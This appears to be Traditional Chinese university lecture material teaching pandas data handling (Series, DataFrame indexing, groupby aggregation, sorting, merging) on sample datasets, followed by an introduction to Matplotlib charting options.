- Panda DataFrame
  - 處理結構化Table資料，有列索引與欄標籤的二維資料集，例如關聯式資料庫等。

Panda Series

```
import pandas as pd
# Pandas Series是索引資料的一維陣列，可從串列或陣列創建
data = pd.Series([0.25, 0.5, 0.75, 1.0])
print(data)
# Series包含一系列值和一系列索引，使用values和index屬性存取
# values 是NumPy陣列，index是類型為pd.Index類似陣列的物件
print(data.values)   # array([0.25, 0.5 , 0.75, 1.  ])
print(data.index)    # RangeIndex(start=0, stop=4, step=1)
for i in data.index:
    print(i,end=' ')  # 0 1 2 3
print('\n', data[1])
print(data[1:3])
```

```
0    0.25
1    0.50
2    0.75
3    1.00
dtype: float64
[0.25 0.5  0.75 1.  ]
RangeIndex(start=0, stop=4, step=1)
0 1 2 3
 0.5
1    0.50
2    0.75
dtype: float64
```

Panda Series

```
import pandas as pd
#Pandas Series有一個顯式定義索引與值相關聯。索引可包含任何類型，如字符
data = pd.Series([0.25, 0.5, 0.75, 1.0],
                 index=['a', 'b', 'c', 'd'])
print(data)
# 使用非連續或無順序的索引
data = pd.Series([0.25, 0.5, 0.75, 1.0],
                 index=[2, 5, 3, 7])
print(data)
#可將Pandas Series視為Python字典的特化
population_dict = {'California': 39250017,
                   'Texas': 27862596,
                   'Florida': 20612439,
                   'New York': 19745289,
                   'Illinois': 12801539}
population = pd.Series(population_dict)
print(population['Illinois'])
# Series提供陣列樣式的操作，例如切片
print(population['Florida':'Illinois'])
```

```
a    0.25
b    0.50
c    0.75
d    1.00
dtype: float64
2    0.25
5    0.50
3    0.75
7    1.00
dtype: float64
12801539
Florida     20612439
New York    19745289
Illinois    12801539
dtype: int64
```

建構 DataFrame

```
import pandas as pd
population_dict = {'California': 39250017, 'Texas': 27862596,
                   'Florida': 20612439, 'New York': 19745289,
                   'Illinois': 12801539}
area_dict = {'California': 423967, 'Texas': 695662,
   'New York': 141297, 'Florida': 170312, 'Illinois': 149995}
#建構二個Series
population = pd.Series(population_dict)
area = pd.Series(area_dict)
# DataFrame是一維的 Series
states = pd.DataFrame({'population': population,
                       'area': area})
print(states)
#DataFrame有index屬性存取索引，columns屬性
print(states.index)
print(states.columns)
```

```
 population    area
California    39250017  423967
Florida       20612439  170312
Illinois      12801539  149995
New York      19745289  141297
Texas         27862596  695662
Index(['California', 'Florida', 'Illinois', 'New
York', 'Texas'], dtype='object')
Index(['population', 'area'], dtype='object')
```

建構 DataFrame

```
import pandas as pd
import numpy as np
#以字典建構
data = [{'a': i, 'b': 2 * i}
        for i in range(3)]
df = pd.DataFrame(data)
print(df)
#有缺值 NaN
df = pd.DataFrame([{'a': 1, 'b': 2}, {'b': 3, 'c': 4}])
print(df)
# 以 numpy二維陣列建構
df = pd.DataFrame(np.random.rand(3, 2),
    columns=['foo', 'bar'], index=['a', 'b', 'c'])
print(df)
# int 8, float 8
A = np.zeros(3, dtype=[('A', 'i8'), ('B', 'f8')])
df = pd.DataFrame(A)
print(df)
# 索引為不可變陣列
ind = pd.Index(df.index)
print(ind[1:2], ind.size, ind.shape, ind.ndim, ind.dtype)
```

```
 a  b
0  0  0
1  1  2
2  2  4
    a  b    c
0  1.0  2  NaN
1  NaN  3  4.0
        foo       bar
a  0.955190  0.006221
b  0.106206  0.851158
c  0.245644  0.608651
   A    B
0  0  0.0
1  0  0.0
2  0  0.0
RangeIndex(start=1, stop=2, step=1) 3 (3,)
1 int64
```

Pandas 索引資料

- Series物件類似字典，利用鍵對映值修改。
- Series類似NumPy陣列，具有slices。
- DataFrame類似二維陣列與使用相同索引的Series字典。
- DataFrame使用values屬性檢查原始陣列資料。
- DataFrame使用iloc索引陣列資料(隱式Python索引)，結果保留DataFrame索引和行標籤；loc索引使用顯式索引和行名稱，以索引原始資料。

df.shape：這個 DataFrame 有幾列有幾欄
df.columns：這個 DataFrame 的變數資訊
df.index：這個 DataFrame 的列索引資訊
df.info()：關於 DataFrame 的詳細資訊
df.describe()：關於 DataFrame 各數值變數的描述統計

Pandas 索引資料

```
import pandas as pd
import numpy as np
data = {'name' : ['Tom', 'John', 'Mary'],
        'score' : [88.5, 90.5, 75],
        'rank' : [5, 1, 2]}
# 使用字典建構，'grade'欄位為缺失值 NaN
df = pd.DataFrame(data, columns=['name','score','rank','grade'])
# 設定索引名稱
df.index.name = 'id'
print(df)
#用欄位名稱索引此欄位資料
print(df['name'])
print(df.score)
#用欄位名稱索引此欄位資料
print(df.iloc()[1])
#重新索引，多加一個 rwo，均為缺失值
df2=df.reindex(list(reversed(range(0, 4))))
print(df2)
```

```
 name  score  rank grade
id
0    Tom   88.5     5   NaN
1   John   90.5     1   NaN
2   Mary   75.0     2   NaN

id
0     Tom
1    John
2    Mary

Name: name, dtype: object
id
0    88.5
1    90.5
2    75.0

Name: score, dtype: float64
name     John
score    90.5
rank        1
grade     NaN
Name: 1, dtype: object

    name  score  rank grade
id
3    NaN    NaN   NaN   NaN
2   Mary   75.0   2.0   NaN
1   John   90.5   1.0   NaN
0    Tom   88.5   5.0   NaN
```

Panda索引資料

```
import pandas as pd
data = {'name' : ['Tom', 'John', 'Mary','Bob'],
        'score' : [80.5, 90.5, 86, 70],
        'rank' : [5, 1, 2, 4]}
# 使用字典建構，'grade'欄位為缺失值
df = pd.DataFrame(data, columns=['name','score','rank','grade'])
#選取標籤為A和C的列，且選完類型還是dataframe
df2 = df.loc[:, ['rank', 'score']]
print(df2)
df3 = df.iloc[:, [0, 2]]
print(df3)
#選取標籤為且只取前兩行，選完類型還是dataframe
df2 = df.loc[0:2, ['score', 'name']]
print(df2)
df3 = df.iloc[0:2, [0, 2]]
print(df3)
# loc根據dataframe的標籤選取列，
# iloc是根據標籤所在的位置，從0開始計數。
# ":"表示選取整列，
# "0:2"表示選取第0行到第1行，2不在範圍內。
```

```
   rank  score
0     5   80.5
1     1   90.5
2     2   86.0
3     4   70.0

   name  rank
0   Tom     5
1  John     1
2  Mary     2
3   Bob     4

   score  name
0   80.5   Tom
1   90.5  John
2   86.0  Mary

   name  rank
0   Tom     5
1  John     1
```

Pandas 索引資料

```
import pandas as pd
data = {'name' : ['Tom', 'John', 'Mary','Bob'],
        'score' : [80.5, 90.5, 86, 70],
        'rank' : [5, 1, 2, 4]}
# 使用字典建構，'grade'欄位為缺失值
df = pd.DataFrame(data, columns=['name','score','rank','grade'])
# 選取 columns
print(df[['name', 'score']])
# 選取 rows
print(df[0:2])
print(df[df['score']>85])  # 選取資料值範圍
print(df.loc[0:2,'score'])  # 選取 row 0~1包含
print(df['score']+df['rank'])  # 資料相加
```

```
  name  score
0  Tom   80.5
1 John   90.5
2 Mary   86.0
3  Bob   70.0

   name  score  rank grade
0  Tom   80.5     5   NaN
1 John   90.5     1   NaN

   name  score  rank grade
1 John   90.5     1   NaN
2 Mary   86.0     2   NaN
0    80.5
1    90.5
2    86.0

Name: score, dtype: float64
0    85.5
1    91.5
2    88.0
3    74.0
dtype: float64
```

Pandas 聚合操作

聚合操作	說明
count()	項目總數
first()，last()	第一個和最後一個項目
mean()，median()	平均值和中位數
min()，max()	最小值和最大值
std()，var()	標準差和變異數
mad()	平均絕對偏差
prod()	所有項目的乘積
sum()	所有項目的總和

$$(\text{MAD}) = \frac{1}{n}\sum_{i=1}^{n}|x_i - m(X)|$$

m(X)是資料集中心趨勢(central tendency)，可取均值(mean)、中位數(median)或眾數(mode)，選取不同中心描述函數對MAD有影響。

Pandas 聚合操作

```
import pandas as pd
import numpy as np
rng = np.random.RandomState(20)  #產生偽隨機數
# 使用字典產生df 物件
df = pd.DataFrame({'A':rng.rand(3),'B':rng.rand(3)})
print(df)
print(df.sum())                      #所有row統計
print(df.sum(axis='columns'))  #所有column統計
print(df.mean())                     #所有row統計
print(df.mean(axis='columns'))  #所有column統計
```

```
          A         B
0  0.588131  0.815837
1  0.897714  0.035890
2  0.891531  0.691758

A    2.377375
B    1.543485
dtype: float64

0    1.403968
1    0.933603
2    1.583288
dtype: float64

A    0.792458
B    0.514495
dtype: float64

0    0.701984
1    0.466802
2    0.791644
dtype: float64
```

Pandas 聚合操作

```
import pandas as pd
import numpy as np
rng = np.random.RandomState(66)  #產生偽隨機數
df = pd.DataFrame({'key': ['A', 'B', 'A', 'B', 'B', 'A'],
                   'house': rng.randint(low=1, high=20, size=6),
                   'gold': rng.randint(low=1, high=20, size=6),})
print(df)
#印出 兩個 column 資料
print(df[['house','gold']])
#印出 key='A'的兩個 column 資料
print(df[df['key']=='A'][['key','gold']])
#印出 gold>12 的三個 column 資料
print(df[df['gold']>12][['key','house','gold']])
```

```
 key  house  gold
0   A     14    14
1   B     16    12
2   A     11     7
3   B     14    16
4   B     17    11
5   A      8     1

   house  gold
0     14    14
1     16    12
2     11     7
3     14    16
4     17    11
5      8     1

  key  gold
0   A    14
2   A     7
5   A     1

  key  house  gold
0   A     14    14
3   B     14    16
```

Pandas 聚合操作

```
import pandas as pd
import numpy as np
rng = np.random.RandomState(66)  #產生偽隨機數
df = pd.DataFrame({'key': ['A', 'B', 'A', 'B', 'B', 'A'],
                   'house': rng.randint(low=1, high=20, size=6),
                   'gold': rng.randint(low=1, high=20, size=6),})
#以 key 為群組的所有欄位之加總
print(df.groupby('key').sum())
#以 key 為群組的 gold欄位的資料
for i in df.groupby('key')['gold']:
    print(i)
#以 key 為群組的 gold欄位之中位數
print(df.groupby('key')['gold'].median())
for (key, group) in df.groupby('key'):
    print('{0} - {1}'.format(key, group.shape) )
```

```
 house  gold
key
A      33    22
B      47    39

('A', 0  14  2  7  5  1
Name: gold, dtype: int32)
('B', 1  12  3  16  4    11
Name: gold, dtype: int32)

key
A    7
B   12
Name: gold, dtype: int32

A - (3, 3)
B - (3, 3)
```

Pandas 聚合操作

```
import pandas as pd
import numpy as np
rng = np.random.RandomState(66)  #產生偽隨機數
df = pd.DataFrame({'key': ['A', 'B', 'A', 'B', 'B', 'A'],
                   'house': rng.randint(low=1, high=20, size=6),
                   'gold': rng.randint(low=1, high=20, size=6),})
#印出不同格式(長/寬/分組)的敘述統計
print(df.groupby('key')['gold'].describe())
print(df.groupby('key')['gold'].describe().stack())
print(df.groupby('key')['gold'].describe().unstack())
```

Pandas 聚合操作

```
 count      mean      std   min   25%   50%   75%   max
key
A     3.0   7.333333  6.506407   1.0   4.0   7.0  10.5
14.0
B     3.0  13.000000  2.645751  11.0  11.5  12.0  14.0
16.0
key
A    count     3.000000
     mean      7.333333
     std       6.506407
     min       1.000000
     25%       4.000000
     50%       7.000000
     75%      10.500000
     max      14.000000
B    count     3.000000
     mean     13.000000
     std       2.645751
     min      11.000000
     25%      11.500000
     50%      12.000000
     75%      14.000000
     max      16.000000
dtype: float64
```

```
 key
count  A       3.000000
       B       3.000000
mean   A       7.333333
       B      13.000000
std    A       6.506407
       B       2.645751
min    A       1.000000
       B      11.000000
25%    A       4.000000
       B      11.500000
50%    A       7.000000
       B      12.000000
75%    A      10.500000
       B      14.000000
max    A      14.000000
       B      16.000000
dtype: float64
```

Pandas 聚合操作

```
import numpy as np
rng = np.random.RandomState(66)  #產生偽隨機數
df = pd.DataFrame({'key': ['A', 'B', 'A', 'B', 'B', 'A'],
                   'house': rng.randint(low=1, high=20, size=6),
                   'gold': rng.randint(low=1, high=20, size=6),})

#一次計算所有需要的聚合運算
print(df.groupby('key').aggregate([np.median,max]))

#過濾保留 house 最大值大於 14的所有組所有資料，其他資料則刪除
def filter_func(x):
    return x['house'].max() > 14
print(df.groupby('key').filter(filter_func))

#重設 index
df2 = df.set_index('key')
#groupby參數可以放任何 python合法的函式，其參數是 index
print(df2.groupby(str.lower).mean())
```

```
 house       gold
    median max median max
key
A       11  14      7  14
B       16  17     12  16
  key  house  gold
1   B     16    12
3   B     14    16
4   B     17    11
       house       gold
a  11.000000   7.333333
b  15.666667  13.000000
```

Pandas 排序

- Pandas Series是一個類似一維陣列的物件，包含資料陣列和相關資料標籤陣列。可透過傳入索引重新排序Series(未找到的索引是NaN)，也按索引對Series進行排序。
- 用sort_index()可按索引對DataFrame進行排序，也可指定ascending=False進行降序排序。
- 用sort_values方法可以按行對DataFrame的值進行排序。

Pandas 排序

```
import pandas as pd
import numpy as np
data = np.array([80, 80, 90, 100, 88, 82, 92, 100, 78, 96, 55, 58])
df = pd.DataFrame(data.reshape((3,4)),
                  index=['John','Tom','Mary'],
                  columns=['cs', 'math','pg','eng'])
print(df)
# 針對索引 index 排序 (對 row)
print(df.sort_index())
# 針對索引 index 降序排序 (對 column)
print(df.sort_index(axis=1,ascending=False))
#根據欄位排序
print(df.sort_values(['pg','eng']))
```

```
      cs  math  pg  eng
John  80    80  90  100
Tom   88    82  92  100
Mary  78    96  55   58

      cs  math  pg  eng
John  80    80  90  100
Mary  78    96  55   58
Tom   88    82  92  100

      pg  math  eng  cs
John  90    80  100  80
Tom   92    82  100  88
Mary  55    96   58  78

      cs  math  pg  eng
Mary  78    96  55   58
John  80    80  90  100
Tom   88    82  92  100
```

Pandas 排序

```
import pandas as pd
import numpy as np
data = np.array([80, 80, 90, 100, 88, 82, 92, 100, 78, 96, 55, 58])
df = pd.DataFrame(data.reshape((3,4)),
                  index=['John','Tom','Mary'],
                  columns=['cs', 'math','pg','eng'])
print(df.rank())
#顯示排名資料，比較column，若同名以平均名次顯示(有0.5)
print(df.rank(axis=1))
#顯示排名，降序
print(df.rank(ascending=False))
#顯示排名，同名取小的名次
print(df.rank(method='min'))
#顯示排名，同名取大的名次
print(df.rank(method='max'))
#顯示排名，同名先取在原資料先出現的
print(df.rank(method='first'))
```

```
      cs  math  pg  eng
John  2.0  1.0  2.0  2.5
Tom   3.0  2.0  3.0  2.5
Mary  1.0  3.0  1.0  1.0

      cs  math  pg  eng
John  1.5  1.5  3.0  4.0
Tom   2.0  1.0  3.0  4.0
Mary  3.0  4.0  1.0  2.0

      cs  math  pg  eng
John  2.0  3.0  2.0  1.5
Tom   1.0  2.0  1.0  1.5
Mary  3.0  1.0  3.0  3.0

      cs  math  pg  eng
John  2.0  1.0  2.0  2.0
Tom   3.0  2.0  3.0  2.0
Mary  1.0  3.0  1.0  1.0
      cs  math  pg  eng
John  2.0  1.0  2.0  3.0
Tom   3.0  2.0  3.0  3.0
Mary  1.0  3.0  1.0  1.0
      cs  math  pg  eng
John  2.0  1.0  2.0  2.0
Tom   3.0  2.0  3.0  3.0
Mary  1.0  3.0  1.0  1.0
```

市場全年毛豬交易行情資料

- 主要欄位
  - total_amt(成交頭數-總數)
  - average_weight(成交頭數-平均重量)
  - average_price(成交頭數-平均價格)

市場全年毛豬交易行情資料

```
import pandas as pd
df1 = pd.read_csv('pig.csv',encoding="utf-8", sep=",")              # 讀取 csv 檔案，分隔,
df1.columns = [ 'total_amt', 'average_weight', 'average_price']    # 設定欄位名稱
print(df1.describe())                                               # 求出資料集敘述統計
print(df1.average_price.max())                                      # 求平均價格最大值
print(df1.sort_values("average_price", ascending=False).head(5)) #排序後前五筆資料
print(df1[df1.average_price>90])                                    # 平均價格>90所有row
```

環保署AQI統計

- 環保署每小時提供各測站之空氣品質指標（AQI）欄位：
  - SiteName(測站名稱)、County(縣市)、AQI(空氣品質指標)
  - Pollutant(空氣污染指標物)、Status(狀態)、SO2(二氧化硫(ppb))
  - CO(一氧化碳(ppm))、CO_8hr(一氧化碳8小時移動平均(ppm))
  - O3(臭氧(ppb))、O3_8hr(臭氧8小時移動平均(ppb))
  - PM10(懸浮微粒(μg/m3))、PM2.5(細懸浮微粒(μg/m3))
  - NO2(二氧化氮(ppb))、NOx(氮氧化物(ppb))
  - NO(一氧化氮(ppb))、WindSpeed(風速(m/sec))
  - WindDirec(風向(degrees))、PublishTime(資料建置日期)
  - PM2.5_AVG(細懸浮微粒移動平均值(μg/m3))
  - PM10_AVG(懸浮微粒移動平均值(μg/m3))
  - Latitude(經度)、Longitude(緯度)

環保署AQI統計

```
import json
import pandas as pd
with open("AQI.json",encoding = 'utf8') as file:    # 開啟 JSON檔
    data = json.load(file)                          # 讀取 JSON資料
df = pd.DataFrame(data)                             # 轉成 DataFrame
print(df)
df1=df.sort_values(by="AQI", ascending=False)  # 對 AQI欄排序
print('以AQI遞減排序')                              # 印出 AQI 欄位資料
print(df1['AQI'])
print(df1.groupby("County").count()["SiteName"]) #對County群組並加總
df2=df1['AQI']                                      #選出AQI欄位
print(df2.describe())                               # 印出敘述統計
```

各國GDP資料

```
# 讀入 csv 文字檔
import pandas as pd
csv_file = "https://storage.googleapis.com/learn_pd_like_tidyverse/gapminder.csv"
gdp = pd.read_csv(csv_file)
print(type(gdp))
print(gdp.head())
```

```
 <class 'pandas.core.frame.DataFrame'>
      country continent  year  lifeExp       pop   gdpPercap
0  Afghanistan      Asia  1952   28.801   8425333  779.445314
1  Afghanistan      Asia  1957   30.332   9240934  820.853030
2  Afghanistan      Asia  1962   31.997  10267083  853.100710
3  Afghanistan      Asia  1967   34.020  11537966  836.197138
4  Afghanistan      Asia  1972   36.088  13079460  739.981106
```

各國GDP資料

```
# 讀入 excel 試算表
xlsx_file = "https://storage.googleapis.com/learn_pd_like_tidyverse/gapminder.xlsx"
gapminder = pd.read_excel(xlsx_file)
print(type(gapminder))
gapminder.head()
```

各國GDP資料

用 list 標註變數名稱從DataFrame選出 country 與 continent 欄位：
```
print(gapminder[['country', 'continent']])
```

選一個變數且沒有以 list 標註，選出欄位資料，型別為 Series
```
country = gapminder['country']
print(type(country))
```

聚合函數計算sum，計算 2007 年全球人口總數：
```
gapminder[gapminder['year'] == 2007][['pop']].sum()
```

計算 2007 年全球的平均壽命、平均財富：
```
gapminder[gapminder['year'] == 2007][['lifeExp', 'gdpPercap']].mean()
```

groupby群組計算 2007 年各洲人口總數：
```
gapminder[gapminder['year'] == 2007].groupby(by = 'continent')['pop'].sum()
```

合併

```
import pandas as pd
import numpy as np
ser1 = pd.Series(['A', 'B', 'C'], index=[1, 2, 3])
ser2 = pd.Series(['D', 'E', 'F'], index=[4, 5, 6])
print(pd.concat([ser1, ser2]))
a=np.array([[1,2,3],[4,5,6],[7,8,9]])
b=np.array([[3,6,7],[1,4,7],[2,5,9]])
df1=pd.DataFrame(a,index=['r0','r1','r2'],columns=list('ABC'))
print(df1)
df2=pd.DataFrame(b,index=['r4','r5','r6'],columns=list('ABC'))
print(df2)
df = pd.concat([df1, df2])
print(df)
df3=pd.DataFrame(b,index=['r0','r1','r2'],columns=list('ABC'))
print(df3)
df = pd.concat([df1, df3], axis=1)
print(df)
```

```
1    A
2    B
3    C
4    D
5    E
6    F
dtype: object

   A  B  C
r0  1  2  3
r1  4  5  6
r2  7  8  9
   A  B  C
r4  3  6  7
r5  1  4  7
r6  2  5  9

   A  B  C
r0  1  2  3
r1  4  5  6
r2  7  8  9
r4  3  6  7
r5  1  4  7
r6  2  5  9

   A  B  C
r0  3  6  7
r1  1  4  7
r2  2  5  9
   A  B  C  A  B  C
r0  1  2  3  3  6  7
r1  4  5  6  1  4  7
r2  7  8  9  2  5  9
```

切割

```
import pandas as pd
import numpy as np
a=np.array([['John Kuo',2,3],['Tom Lee',5,6],['Mary Lin',8,9]])
df1=pd.DataFrame(a,index=['r0','r1','r2'],columns=['name', 'id',
'salary'])
print(df1)
df = df1['name'].str.split(' ',expand=True)
df = df.rename(columns = {0:'first', 1:'last'})
print(df)
del df1['name']
df1 = df1.reset_index(drop=True)
df = df.reset_index(drop=True)
newdf = pd.concat([df, df1], sort=True, axis=1)
print(newdf)
```

```
 name id salary
r0  John Kuo  2      3
r1   Tom Lee  5      6
r2  Mary Lin  8      9

   first last
r0  John  Kuo
r1   Tom  Lee
r2  Mary  Lin

  first last id salary
0  John  Kuo  2      3
1   Tom  Lee  5      6
2  Mary  Lin  8      9
```

行星資料

- plant 系外行星欄位
  - method 發現行星方法
  - number 發現行星數量
  - orbital_period 行星軌道周期
  - mass 行星質量
  - distance 與地球距離
  - year 發現年度
- 載入系外行星資料庫
  - 共1036筆資料，六個資料欄位

```
#pip install seaborn
import seaborn as sns
import pandas as pd
import numpy as np
planets = sns.load_dataset('planets')
```

行星資料

- 發現行星方法 method
  - Astrometry 天體測量學
  - Eclipse Timing Variations 月蝕時差變化
  - Imaging 直接影像
  - Microlensing 微重力透鏡
  - Orbital Brightness Modulation
  - Pulsar Timing中子星時差法
  - Pulsation Timing Variations 脈動時序變化
  - Radial Velocity 徑向速度
  - Transit 掩星 (行星掩蓋母恆星)
  - Transit Timing Variations 掩星時差變化

行星資料

```
#pip install seaborn
import seaborn as sns
import pandas as pd
import numpy as np
planets = sns.load_dataset('planets')
print(planets.shape)
print(planets.head())
#print(planets.dropna().describe())  #丟棄缺失值
```

```
(1035, 6)
          method  number  orbital_period   mass  distance  year
0  Radial Velocity       1         269.300   7.10     77.40  2006
1  Radial Velocity       1         874.774   2.21     56.95  2008
2  Radial Velocity       1         763.000   2.60     19.84  2011
3  Radial Velocity       1         326.030  19.40    110.62  2007
4  Radial Velocity       1         516.220  10.50    119.47  2009
```

行星資料 Exercise

- 載入系外行星資料庫
  - 根據發現的方法method群組，列出各發現方法的各加總數量與加總距離distance
  - 列出各發現方法的軌道周期之中位數

```
Astrometry                        631.180000
Eclipse Timing Variations        4343.500000
Imaging                         27500.000000
Microlensing                     3300.000000
Orbital Brightness Modulation       0.342887
Pulsar Timing                      66.541900
Pulsation Timing Variations      1170.000000
Radial Velocity                   360.200000
Transit                             5.714932
Transit Timing Variations          57.011000
```

  - 列出各發現方法的筆數和欄位數

```
Astrometry                     shape=(2, 6)
Eclipse Timing Variations      shape=(9, 6)
Imaging                        shape=(38, 6)
Microlensing                   shape=(23, 6)
Orbital Brightness Modulation  shape=(3, 6)
Pulsar Timing                  shape=(5, 6)
Pulsation Timing Variations    shape=(1, 6)
Radial Velocity                shape=(553, 6)
Transit                        shape=(397, 6)
Transit Timing Variations      shape=(4, 6)
```

  - 列出前五個發現最多行星數的年分與行星數，以降序顯示

Python 網頁資料視覺化能力

國立臺北科技大學資訊工程系
郭忠義教授

資料視覺化概念

- 資料視覺化旨在藉助圖形化，清晰有效傳達與溝通訊息。
- 資料視覺表現以某種概要形式抽提出資訊，包括資訊的各種屬性和變數。
- 為有效傳達概念，美學與功能需齊頭並進，透過直觀傳達關鍵特徵，實現對複雜資料集的深入洞察。
- Matplotlib 是Python可視化操作介面，提供通用圖形用戶介面工具包。有基於圖像庫(如開放圖形庫OpenGL)的pylab介面，設計與MATLAB類似。
- 其優點：
  - 帶有內置代碼的預設繪圖樣式
  - 與Python的深度整合
  - Matlab風格的API

1 圖表設定

- 標題、文字、圖例設定
  - 範例程式E4-1-1-1.ipynb-Matplotlib架構與基本操作
- 線條設定
  - 範例程式E4-1-2-1.ipynb-結合由numpy產生的資料由matplotlib畫出圖形
- 標籤樣式
  - 範例程式E4-1-3-1.ipynb-Matplotlib標籤樣式基本操作
- 座標軸範圍，標籤與刻度
  - 範例程式E4-1-4-1.ipynb-Matplotlib座標軸範圍，標籤與刻度基本操作

Matplotlib 的圖表組成

Matplotlib基本繪圖

- plt.figure()可用參數
  - num - 編號
  - figsize - 圖像大小
  - dpi - 解析度
  - facecolor - 背景色
  - edgecolor - 邊界顏色
  - frameon - 邊框
- 呼叫plt.show()顯示圖形。
- subplot使用網格排列子圖。
- 設置一個Figure，用axes物件畫軸，增加axes、subplot。
- plot用點連接畫線(折線圖)
- scatter繪製點(散射圖)，可選擇變數縮放或著色。

Matplotlib 基礎函式

- text() 在Axes物件的任意位置增加文字
- xlabel() 增加x軸標題
- ylabel() 增加y軸標題
- title() 給Axes對象增加標題
- figtext() 在Figure物件的任意位置增加文字
- suptitle() Figure增加標題
- anotate() Axes物件增加注釋(可選擇是否增加箭頭標記)
- Matplotlib物件有很多函式以set_<something>開頭設定選項。

Matplotlib函式設定屬性

關鍵字	意義
alpha	透明度，值在0到1之間，0為完全透明，1為完全不透明
backgroundcolor	背景顏色
clip_box	物件的裁剪框
clip_on	是否裁剪
clip_path	裁剪的路徑
color	字體顏色
fontproperties	顯示字體特性
horizontalalignment or ha	水準對齊，可選 'center' , 'right' , 'left'
label	文字標籤
linespacing	行間距

Matplotlib函式設定屬性

關鍵字	意義
picker	控制物件選取
position	文字出現位置
rotation	文字旋轉角度
size or fontsize	文字或字體大小
style or fontstyle	文字或字體風格，可用 'normal' , 'italic' , 'oblique'
text	Text物件清單，用來顯示文字
transform	控制偏移旋轉
verticalalignment or va	垂直對齊，可用 'center' , 'top' , 'bottom' , 'baseline'
visible	是否可見
weight or fontweight	字體重量，可用 'normal' , 'bold' , 'heavy' , 'light' , 'ultrabold' , 'ultralight'
zorder	控制繪圖順序

Matplotlib 線條設定

- plt.plot() 函式用於指定線條顏色和樣式參數。
  - 調整顏色，使用 color 關鍵字顏色的字串參數。
  - 基本顏色可使用一個字母表示。
  - 可使用 HTML/CSS 顏色名稱。
  - 可透過提供 HTML/CSS 十六進位字串指定顏色。
  - 透過傳遞 0 到 1間的數位字串表示 256 灰階。
  - 若未指定顏色， 將自動迴圈顯示多行的一組預設顏色。
- 可使用 linestyle 關鍵字調整線條樣式。

Matplotlib 線條設定-標記

標記	描述	標記	描述	標記	描述	標記	描述
"."	point	"+"	plus	","	pixel	"x"	cross
"o"	circle	"D"	diamond	"d"	thin_diamond		
"8"	octagon	"s"	square	"p"	pentagon	"*"	star
"|"	vertical line	"_"	horizontal line	"h"	hexagon1	"H"	hexagon2
0	tickleft	4	caretleft	"<"	triangle_left	"3"	tri_left
1	tickright	5	caretright	">"	triangle_right	"4"	tri_right
2	tickup	6	caretup	"^"	triangle_up	"2"	tri_up
3	tickdown	7	caretdown	"v"	triangle_down	"1"	tri_down
"None"	nothing	None	default	" "	nothing	""	nothing

Matplotlib標籤樣式

- legend()函式用來增加圖像標籤，主要屬性：
  - legend entry - 一個legend包含一個或多個entry，一個entry對應一個key和一個label
  - legend key - marker的標記
  - legend label - key的說明
  - legend handle - 一個entry在圖上對應的物件
  - 呼叫legend()會自動獲取當前Axes物件，得到這些handles和labels。可將labels作為參數輸入legend函式。
  - 可產生特殊形狀的marker和點線組合。
  - 利用bbox_to_anchor關鍵字可指定legend放置的位置。
  - 可增加多個legend於同一個Axes，其中loc參數可取「0-10」或「字串」，表示放置的位置。

Matplotlib座標軸範圍，標籤與刻度

- 調整座標軸限制的基本方法
  - 使用plt.xlim()和plt.ylim()，要反向顯示任一軸，可顛倒參數順序。
- plt.axis()方法
  - 透過指定[xmin,xmax,ymin,ymax]串列一次呼叫設置x和y限制，
  - 允許自動收緊當前圖周圍的界限。
  - 可確保相等的寬高比，螢幕上「x」的一個單位等於「y」的一個單位。
- 圖表標題和軸標籤可使用函式的可選參數調整位置、大小和樣式。
  - plt.legend()函式跟蹤線條樣式和顏色，將它們與正確的標籤相匹配。

各種圖表之呈現

- 折線圖
  - 範例程式E4-2-1-1.ipynb-Matplotlib各種圖形基本操作
- 散佈圖
  - 範例程式E4-2-2-1.ipynb-Matplotlib散佈圖基本操作
  - 範例程式E4-2-2-2.py-配合Numpy亂數產生以Matplotlib散佈圖
- 長條圖
  - 範例程式E4-2-3-1.py-Numpy成績處理後以Matplotlib長條圖
- 直方圖
  - 範例程式E4-2-4-1.ipynb-Matplotlib直方圖形操作變化
- 圓形圖
  - 範例程式E4-2-5-1.py-Matplotlib圓形圖基本操作
  - 範例程式E4-2-5-2.py-Matplotlib圓形圖多子圖操作

Matplotlib scatter 函式繪製散佈圖

- 語法：matplotlib.pyplot.scatter(x, y, s=None, c=None, marker=None, cmap=None, norm=None, vmin=None, vmax=None, alpha=None, linewidths=None, verts=None, edgecolors=None, hold=None, data=None)
- 常用參數：
  - s：標記大小以點為單位，預設值為rcParams['lines.markersize']。
  - c：標記顏色。
  - marker：標記樣式。marker可以是類別的實例，也可以是特定標記的內容縮寫。

Matplotlib 散佈圖

- 散佈圖是折線圖的近親，可以使用plt.plot產生散佈圖，也可用plt.plot的附加關鍵字參數指定行和標記的各種屬性。
- 第二種更強大的創建散佈圖的方法是plt.scatter函式，它可以與plt.plot函式非常相似地使用，plt.scatter與plt.plot的主要區別在於它可用於創建散佈圖，其中每個單獨的點(大小、面顏色、邊緣顏色等)的屬性可以是單獨控制或映射到資料。
- plot對scatter請注意效率上的差異，對於少量資料而言並不重要，但當資料集大於幾千個點，plt.plot可能比plt.scatter明顯更有效。原因是plt.scatter能夠為每個點渲染不同的大小和顏色，因此渲染器必須額外單獨構建每個點。另一方面，在plt.plot中，點基本上是彼此複製，因此，確定點的外觀的工作僅在整個資料集進行一次。

範例程式E4-2-2-1.py 程式說明

- 1-3行import所需套件。
- 4行運用numpy的random.seed方法重設隨機數起始種子值。
- 5行運用numpy的arange方法取得相等間隔資料串列。
- 6行運用numpy的random.rand方法產生y亂數值。
- 7行運用numpy的random.rand方法產生s亂數值。
- 8行運用matplotlib.pyplot的scatter方法繪製散佈圖，以alpha屬性指定透明度，marker屬性指定圖標，label屬性指定整個圖的標記。
- 9-11行以xlabel、ylabel、legend分別設置x軸標記、y軸標記、圖例。
- 12行要求顯示圖形。

Matplotlib bar函式繪製長條圖

- 語法：bar(x, height, width, bottom, *, align='center')
- 其中x為長條圖的資料。
- height為條形的高度。
- width為條形的寬度(預設值：0.8)，可選。
- bottom為條形的y座標(預設值：0)，是可選的參數。
- Align可選 {'center'，'edge'}，為條形對齊x座標。
- 'center'為將基準置於x位置的中心位置。
- 'edge'為將條形的左邊緣與x位置對齊。

範例程式E4-2-3-1.py 程式說明

- 1-2行import所需套件。
- 3行輸入學生分數。
- 4行以0初始化計數串列，其中
  #range_count[0]: range0~19，#range_count[1]: range20~39
  #range_count[2]: range40~59，#range_count[3]: range60~79
  #range_count[4]: range80~100
- 5-15行為計數過程。
- 16-17行設定y軸標籤、x軸標籤內容。
- 18行畫出直條圖。
- 19行設定x軸標記名稱。20行設定y軸標記名稱。
